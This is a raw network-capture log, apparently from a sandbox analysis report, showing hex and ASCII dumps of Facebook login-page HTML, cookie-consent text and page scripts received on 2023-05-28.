75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 Data Ascii: es\/cookies\/cookie_info_card_image_1.png\" alt=\"background image\" class=\"_al4z\" \/>\u003Cdiv class=\"_al4_\">\u003Cdiv class=\"_al4-\">What are cookies?\u003C\/div>\u003Cbutton class=\"_al66\">Learn more\u003C\/button>\u003C\/div>\u003C\/div>\u003Cdi
2023-05-28 08:43:32 UTC	1373	IN	Data Raw: 30 33 43 5c 2f 68 32 3e 5c 75 30 30 33 43 70 20 73 74 79 6c 65 3d 5c 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 5c 22 3e 57 65 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 66 72 6f 6d 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 70 72 69 76 61 63 79 5c 2f 70 6f 6c 69 63 69 65 73 5c 2f 63 6f 6f 6b 69 65 73 5c 2f 3f 61 6e 6e 6f 74 61 74 69 6f 6e 73 5b 30 5d 3d 65 78 70 6c 61 6e 61 74 69 6f 6e 5c 75 30 30 32 35 32 46 33 5f 63 6f 6d 70 61 6e 69 65 73 5f 6c 69 73 74 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 3e 6f 74 68 65 72 20 63 6f 6d 70 61 6e 69 65 73 5c 75 30 30 33 43 5c 2f 61 3e 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 73 68 6f 77 20 79 6f 75 20 61 Data Ascii: 03C\/h2>\u003Cp style=\"margin-bottom: 0;\">We use cookies from \u003Ca href=\"https:\/\/www.facebook.com\/privacy\/policies\/cookies\/?annotations[0]=explanation\u00252F3_companies_list\" target=\"_blank\">other companies\u003C\/a> in order to show you a
2023-05-28 08:43:32 UTC	1374	IN	Data Raw: 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 66 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 66 5c 22 3e 49 66 20 79 6f 75 20 61 6c 6c 6f 77 20 74 68 65 73 65 20 63 6f 6f 6b 69 65 73 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 67 20 5f 39 76 37 76 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 45 50 39 77 58 38 71 44 44 76 75 20 73 78 5f 37 62 61 64 33 39 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 62 20 5f Data Ascii: 3Cspan class=\"_9ngf\">\u003Cdiv class=\"_al5f\">If you allow these cookies\u003C\/div>\u003C\/span>\u003Cspan class=\"_9ngg _9v7v\">\u003Ci class=\"img sp_EP9wX8qDDvu sx_7bad39\">\u003C\/i>\u003C\/span>\u003C\/div>\u003C\/button>\u003Cdiv class=\"_9ngb _
2023-05-28 08:43:32 UTC	1375	IN	Data Raw: 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 32 5c 22 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 33 5c 22 3e 57 65 20 77 6f 6e 26 23 30 33 39 3b 74 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 66 72 6f 6d 20 6f 74 68 65 72 20 63 6f 6d 70 61 6e 69 65 73 20 74 6f 20 70 65 72 73 6f 6e 61 6c 69 73 65 20 61 64 73 20 66 6f 72 20 79 6f 75 20 6f 66 66 20 6f 66 20 4d 65 74 61 20 70 72 6f 64 75 63 74 73 2c 20 6f 72 20 6d 65 61 73 75 72 65 20 74 68 65 69 72 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 5c 2f 75 6c 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 Data Ascii: 003C\/li>\u003Cli class=\"_al52\">\u003Cspan class=\"_al53\">We won't use cookies from other companies to personalise ads for you off of Meta products, or measure their performance.\u003C\/span>\u003C\/li>\u003C\/ul>\u003C\/div>\u003C\/div>\u003C\/di
2023-05-28 08:43:32 UTC	1377	IN	Data Raw: 74 6f 20 73 65 65 20 66 65 77 65 72 20 61 64 73 20 61 62 6f 75 74 20 63 65 72 74 61 69 6e 20 74 6f 70 69 63 73 20 75 73 69 6e 67 20 61 64 20 74 6f 70 69 63 73 20 69 6e 20 79 6f 75 72 20 73 65 74 74 69 6e 67 73 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 76 74 67 5c 22 20 69 64 3d 5c 22 75 5f 30 5f 68 5f 79 7a 5c 22 3e 5c 75 30 30 33 43 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 39 63 20 5f 39 6e 67 65 5c 22 20 74 69 74 6c 65 3d 5c 22 65 78 70 61 6e 64 61 62 6c 65 20 73 65 63 74 69 6f 6e 5c 22 3e 5c 75 30 30 33 43 64 69 Data Ascii: to see fewer ads about certain topics using ad topics in your settings.\u003C\/p>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_9vtg\" id=\"u_0_h_yz\">\u003Cbutton class=\"_al9c _9nge\" title=\"expandable section\">\u003Cdi
2023-05-28 08:43:32 UTC	1378	IN	Data Raw: 43 61 6e 61 64 61 5c 75 30 30 33 43 5c 2f 61 3e 20 69 6e 20 43 61 6e 61 64 61 20 6f 72 20 74 68 65 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 77 77 77 2e 79 6f 75 72 6f 6e 6c 69 6e 65 63 68 6f 69 63 65 73 2e 63 6f 6d 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 31 62 77 47 74 42 41 31 61 6a 66 36 6c 2d 62 59 4c 78 71 5a 6e 4c 65 38 59 73 34 42 64 48 57 7a 45 33 39 4d 39 5a 74 52 4f 69 55 57 35 33 48 68 6e 43 51 33 51 57 48 5a 58 46 6b 5f 36 4d 43 38 6a 31 41 6d 6a 73 75 62 73 62 79 33 61 30 65 52 34 68 74 64 4f 48 50 30 2d 45 2d 51 78 69 77 4c 57 38 4e 7a 38 Data Ascii: Canada\u003C\/a> in Canada or the \u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fwww.youronlinechoices.com\u00252F&h=AT1bwGtBA1ajf6l-bYLxqZnLe8Ys4BdHWzE39M9ZtROiUW53HhnCQ3QWHZXFk_6MC8j1Amjsubsby3a0eR4htdOHP0-E-QxiwLW8Nz8
2023-05-28 08:43:32 UTC	1380	IN	Data Raw: 61 79 20 66 69 6e 64 20 61 64 64 69 74 69 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 65 20 63 6f 6e 74 72 6f 6c 73 20 6f 66 66 65 72 65 64 20 62 79 20 70 6f 70 75 6c 61 72 20 62 72 6f 77 73 65 72 73 20 61 74 20 74 68 65 20 6c 69 6e 6b 73 20 62 65 6c 6f 77 2e 20 43 65 72 74 61 69 6e 20 70 61 72 74 73 20 6f 66 20 4d 65 74 61 20 50 72 6f 64 75 63 74 73 20 6d 61 79 20 6e 6f 74 20 77 6f 72 6b 20 70 72 6f 70 65 72 6c 79 20 69 66 20 79 6f 75 20 68 61 76 65 20 64 69 73 61 62 6c 65 64 20 62 72 6f 77 73 65 72 20 63 6f 6f 6b 69 65 73 2e 20 50 6c 65 61 73 65 20 62 65 20 61 77 61 72 65 20 74 68 61 74 20 74 68 65 73 65 20 63 6f 6e 74 72 6f 6c 73 20 61 72 65 20 64 69 73 74 69 6e 63 74 20 66 72 6f 6d 20 74 68 65 20 63 6f 6e 74 72 6f 6c 73 Data Ascii: ay find additional information about the controls offered by popular browsers at the links below. Certain parts of Meta Products may not work properly if you have disabled browser cookies. Please be aware that these controls are distinct from the controls
2023-05-28 08:43:32 UTC	1381	IN	Data Raw: 70 4c 4b 56 43 36 54 5a 48 6f 2d 32 50 76 4a 61 55 72 77 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 61 73 79 6e 63 6c 61 7a 79 5c 22 3e 46 69 72 65 66 6f 78 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 73 75 70 70 6f 72 74 2e 61 70 70 6c 65 2e 63 6f 6d 5c 75 30 30 32 35 32 46 65 6e 2d 69 65 5c 75 30 30 32 35 32 46 67 75 69 64 65 5c 75 30 30 32 35 32 46 73 61 66 Data Ascii: pLKVC6TZHo-2PvJaUrw\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"asynclazy\">Firefox\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fsupport.apple.com\u00252Fen-ie\u00252Fguide\u00252Fsaf
2023-05-28 08:43:32 UTC	1382	IN	Data Raw: 34 62 36 35 0d 0a 6a 4e 54 51 76 74 6d 41 63 4f 6b 53 53 37 38 46 76 50 6a 61 5a 30 4d 64 6c 6a 70 74 30 75 55 56 4d 6a 71 42 7a 35 7a 41 63 63 46 68 4f 32 59 45 4e 45 46 58 33 6d 54 4f 46 76 5a 6e 5f 64 72 33 6c 59 46 6f 63 52 34 6d 6a 77 47 49 6d 6e 33 41 6f 5f 59 63 37 76 69 34 71 76 75 4d 4b 49 39 44 6f 75 50 53 77 4d 52 53 76 70 43 6f 54 53 39 61 79 57 6e 58 32 45 6a 50 35 46 68 6c 51 69 34 33 42 63 55 6b 31 6c 61 74 43 51 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 61 73 79 6e 63 6c 61 7a 79 5c 22 3e 4f 70 65 72 61 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 5c 2f 75 6c 3e 5c 75 30 30 33 43 5c Data Ascii: 4b65jNTQvtmAcOkSS78FvPjaZ0Mdljpt0uUVMjqBz5zAccFhO2YENEFX3mTOFvZn_dr3lYFocR4mjwGImn3Ao_Yc7vi4qvuMKI9DouPSwMRSvpCoTS9ayWnX2EjP5FhlQi43BcUk1latCQ\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"asynclazy\">Opera\u003C\/a>\u003C\/li>\u003C\/ul>\u003C\
2023-05-28 08:43:32 UTC	1384	IN	Data Raw: 61 72 65 20 73 6d 61 6c 6c 20 70 69 65 63 65 73 20 6f 66 20 74 65 78 74 20 74 68 61 74 20 61 72 65 20 75 73 65 64 20 74 6f 20 73 74 6f 72 65 20 61 6e 64 20 72 65 63 65 69 76 65 20 69 64 65 6e 74 69 66 69 65 72 73 20 6f 6e 20 61 20 77 65 62 20 62 72 6f 77 73 65 72 2e 20 57 65 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 73 69 6d 69 6c 61 72 20 74 65 63 68 6e 6f 6c 6f 67 69 65 73 20 74 6f 20 6f 66 66 65 72 20 4d 65 74 61 20 50 72 6f 64 75 63 74 73 20 61 6e 64 20 75 6e 64 65 72 73 74 61 6e 64 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 77 65 20 72 65 63 65 69 76 65 20 61 62 6f 75 74 20 75 73 65 72 73 2c 20 6c 69 6b 65 20 74 68 65 69 72 20 61 63 74 69 76 69 74 79 20 6f 6e 20 6f 74 68 65 72 20 77 65 62 73 69 74 65 73 20 61 6e 64 20 61 70 70 73 2e 5c 75 30 30 Data Ascii: are small pieces of text that are used to store and receive identifiers on a web browser. We use cookies and similar technologies to offer Meta Products and understand information we receive about users, like their activity on other websites and apps.\u00
2023-05-28 08:43:32 UTC	1385	IN	Data Raw: 30 30 33 43 6c 69 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 32 5c 22 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 33 5c 22 3e 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 74 6f 20 6b 65 65 70 20 75 73 65 72 73 20 6c 6f 67 67 65 64 20 69 6e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 32 5c 22 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 33 5c 22 3e 54 6f 20 65 6e 73 75 72 65 20 73 65 63 75 72 69 74 79 2c 20 73 69 74 65 20 61 6e 64 20 70 72 6f 64 75 63 74 20 69 6e 74 65 67 72 69 74 79 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 Data Ascii: 003Cli class=\"_al52\">\u003Cspan class=\"_al53\">Authentication to keep users logged in\u003C\/span>\u003C\/li>\u003Cli class=\"_al52\">\u003Cspan class=\"_al53\">To ensure security, site and product integrity\u003C\/span>\u003C\/li>\u003Cli class=\"_al5
2023-05-28 08:43:32 UTC	1387	IN	Data Raw: 33 68 5c 22 20 69 64 3d 5c 22 75 5f 30 5f 70 5f 52 46 5c 22 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 37 64 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 61 35 5c 22 3e 5c 75 30 30 33 43 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 37 65 5c 22 20 69 64 3d 5c 22 75 5f 30 5f 71 5f 42 70 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 45 50 39 77 58 38 71 44 44 76 75 20 73 78 5f 37 62 61 35 34 31 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 61 38 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 Data Ascii: 3h\" id=\"u_0_p_RF\">\u003C\/div>\u003Cdiv class=\"_al7d\">\u003Cdiv class=\"_ala5\">\u003Cbutton class=\"_al7e\" id=\"u_0_q_Bp\">\u003Ci class=\"img sp_EP9wX8qDDvu sx_7ba541\">\u003C\/i>\u003C\/button>\u003C\/div>\u003Cdiv class=\"_ala8\">\u003Cdiv class
2023-05-28 08:43:32 UTC	1388	IN	Data Raw: 73 5c 75 30 30 33 43 5c 2f 68 32 3e 5c 75 30 30 33 43 70 3e 59 6f 75 20 68 61 76 65 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 6f 70 74 69 6f 6e 61 6c 20 63 6f 6f 6b 69 65 73 20 77 65 20 75 73 65 3a 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 75 6c 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 31 5c 22 3e 5c 75 30 30 33 43 6c 69 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 32 5c 22 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 33 5c 22 3e 4f 75 72 20 63 6f 6f 6b 69 65 73 20 6f 6e 20 6f 74 68 65 72 20 61 70 70 73 20 61 6e 64 20 77 65 62 73 69 74 65 73 20 6f 77 6e 65 64 20 62 79 20 63 6f 6d 70 61 6e 69 65 73 20 74 68 61 74 20 75 73 65 20 4d 65 74 61 20 74 65 63 68 6e 6f 6c 6f 67 69 65 73 2c 20 73 75 63 68 20 61 73 20 74 68 65 20 4c 69 6b 65 Data Ascii: s\u003C\/h2>\u003Cp>You have control over optional cookies we use:\u003C\/p>\u003Cul class=\"_al51\">\u003Cli class=\"_al52\">\u003Cspan class=\"_al53\">Our cookies on other apps and websites owned by companies that use Meta technologies, such as the Like
2023-05-28 08:43:32 UTC	1390	IN	Data Raw: 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 64 5f 7a 31 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 42 72 61 73 69 6c 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 65 5f 38 69 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 50 6f 72 74 75 67 61 6c 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 66 5f 7a 49 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 52 6f 6d 5c 75 30 30 65 32 6e 5c 75 30 31 30 33 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 67 5f 33 44 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 53 75 6f 6d 69 22 7d 2c 31 5d 2c 5b 22 5f 5f Data Ascii: ],["__markup_3310c079_0_d_z1",{"__html":"Portugu\u00eas (Brasil)"},1],["__markup_3310c079_0_e_8i",{"__html":"Portugu\u00eas (Portugal)"},1],["__markup_3310c079_0_f_zI",{"__html":"Rom\u00e2n\u0103"},1],["__markup_3310c079_0_g_3D",{"__html":"Suomi"},1],["__
2023-05-28 08:43:32 UTC	1391	IN	Data Raw: 30 5f 63 77 22 2c 22 6c 6f 67 69 6e 5f 66 6f 72 6d 22 2c 32 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 30 5f 71 41 22 2c 22 75 5f 30 5f 32 5f 4e 2b 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 31 5f 63 4e 22 2c 22 75 5f 30 5f 33 5f 78 71 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 37 30 62 31 36 63 36 39 5f 30 5f 30 5f 70 69 22 2c 22 70 61 73 73 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 33 5f 72 32 22 2c 22 75 5f 30 5f 34 5f 66 33 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 34 5f 78 46 22 2c 22 75 5f 30 5f 35 5f 4f 7a 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 32 5f 56 7a 22 2c 22 6c 6f 67 69 6e 62 75 74 74 6f Data Ascii: 0_cw","login_form",2],["__elem_f46f4946_0_0_qA","u_0_2_N+",1],["__elem_f46f4946_0_1_cN","u_0_3_xq",1],["__elem_70b16c69_0_0_pi","pass",1],["__elem_a588f507_0_3_r2","u_0_4_f3",1],["__elem_a588f507_0_4_xF","u_0_5_Oz",1],["__elem_45d73b5d_0_2_Vz","loginbutto
2023-05-28 08:43:32 UTC	1393	IN	Data Raw: 5f 52 46 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 79 41 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 30 63 64 63 36 36 61 64 5f 30 5f 32 5f 59 39 22 2c 22 75 5f 30 5f 71 5f 42 70 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 79 41 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 69 5f 45 43 22 2c 22 75 5f 30 5f 72 5f 53 4e 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 79 41 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 30 63 64 63 36 36 61 64 5f 30 5f 33 5f 79 39 22 2c 22 75 5f 30 5f 73 5f 70 4d 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 79 41 22 5d 5d 2c 22 72 65 71 75 69 72 65 22 3a 5b 5b 22 53 65 72 76 69 Data Ascii: _RF",1,"__markup_9f5fac15_0_0_yA"],["__elem_0cdc66ad_0_2_Y9","u_0_q_Bp",1,"__markup_9f5fac15_0_0_yA"],["__elem_a588f507_0_i_EC","u_0_r_SN",1,"__markup_9f5fac15_0_0_yA"],["__elem_0cdc66ad_0_3_y9","u_0_s_pM",1,"__markup_9f5fac15_0_0_yA"]],"require":[["Servi
2023-05-28 08:43:32 UTC	1394	IN	Data Raw: 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 31 5f 78 70 22 7d 5d 5d 2c 5b 22 49 6e 74 6c 55 74 69 6c 73 22 5d 2c 5b 22 46 42 4c 79 6e 78 22 2c 22 73 65 74 75 70 44 65 6c 65 67 61 74 69 6f 6e 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 54 69 6d 65 7a 6f 6e 65 41 75 74 6f 73 65 74 22 2c 22 73 65 74 49 6e 70 75 74 56 61 6c 75 65 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 30 5f 71 41 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 30 5f 71 41 22 7d 2c 31 36 38 35 32 36 33 34 31 32 5d 5d 2c 5b 22 53 63 72 65 65 6e 44 69 6d 65 6e 73 69 6f 6e 73 41 75 74 6f 53 65 74 22 2c 22 73 65 74 49 6e 70 75 74 56 61 6c 75 65 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 31 5f 63 4e 22 5d 2c Data Ascii: __elem_45d73b5d_0_1_xp"}]],["IntlUtils"],["FBLynx","setupDelegation",[],[]],["TimezoneAutoset","setInputValue",["__elem_f46f4946_0_0_qA"],[{"__m":"__elem_f46f4946_0_0_qA"},1685263412]],["ScreenDimensionsAutoSet","setInputValue",["__elem_f46f4946_0_1_cN"],
2023-05-28 08:43:32 UTC	1396	IN	Data Raw: 7d 2c 22 6f 70 65 6e 22 2c 22 63 6f 6f 6b 69 65 5f 70 6f 70 75 70 5f 31 22 2c 22 5f 61 6c 37 68 22 2c 22 5f 61 6c 37 69 22 2c 22 5f 61 6c 37 63 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 49 6e 66 6f 50 6f 70 75 70 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 50 6f 70 75 70 48 61 6e 64 6c 65 72 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 36 5f 5c 2f 4f 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 36 5f 5c 2f 4f 22 7d 2c 22 6f 70 65 6e 22 2c 22 63 6f 6f 6b 69 65 5f 70 6f 70 75 70 5f 32 22 2c 22 5f 61 6c 37 68 22 2c 22 5f 61 6c 37 69 22 2c 22 5f 61 6c 37 63 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 49 6e 66 6f 50 6f 70 75 70 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 50 6f 70 75 70 48 61 6e Data Ascii: },"open","cookie_popup_1","_al7h","_al7i","_al7c"]],["CookieInfoPopupController","initPopupHandler",["__elem_a588f507_0_6_\/O"],[{"__m":"__elem_a588f507_0_6_\/O"},"open","cookie_popup_2","_al7h","_al7i","_al7c"]],["CookieInfoPopupController","initPopupHan
2023-05-28 08:43:32 UTC	1397	IN	Data Raw: 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 66 5f 55 6e 22 7d 2c 22 63 6c 6f 73 65 22 2c 6e 75 6c 6c 2c 22 5f 61 6c 37 68 22 2c 22 5f 61 6c 37 69 22 2c 22 5f 61 6c 37 63 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 49 6e 66 6f 50 6f 70 75 70 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 50 6f 70 75 70 48 61 6e 64 6c 65 72 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 30 63 64 63 36 36 61 64 5f 30 5f 31 5f 35 56 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 30 63 64 63 36 36 61 64 5f 30 5f 31 5f 35 56 22 7d 2c 22 63 6c 6f 73 65 22 2c 6e 75 6c 6c 2c 22 5f 61 6c 37 68 22 2c 22 5f 61 6c 37 69 22 2c 22 5f 61 6c 37 63 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 49 6e 66 6f 50 6f 70 75 70 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 50 6f Data Ascii: "__m":"__elem_a588f507_0_f_Un"},"close",null,"_al7h","_al7i","_al7c"]],["CookieInfoPopupController","initPopupHandler",["__elem_0cdc66ad_0_1_5V"],[{"__m":"__elem_0cdc66ad_0_1_5V"},"close",null,"_al7h","_al7i","_al7c"]],["CookieInfoPopupController","initPo
2023-05-28 08:43:32 UTC	1399	IN	Data Raw: 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 70 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3b 72 65 74 75 72 6e 20 70 26 26 70 2e 6e 6f 77 26 26 70 2e 74 69 6d 69 6e 67 26 26 70 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 2e 6e 6f 77 28 29 2b 70 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 7d 3b 7d 29 28 29 3b 77 69 6e 64 6f 77 2e 5f 5f 62 69 67 50 69 70 65 46 52 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 Data Ascii: =(function(){var p=window.performance;return p&&p.now&&p.timing&&p.timing.navigationStart?function(){return p.now()+p.timing.navigationStart}:function(){return new Date().getTime()};})();window.__bigPipeFR=now_inl();</script><link rel="preload" href="htt
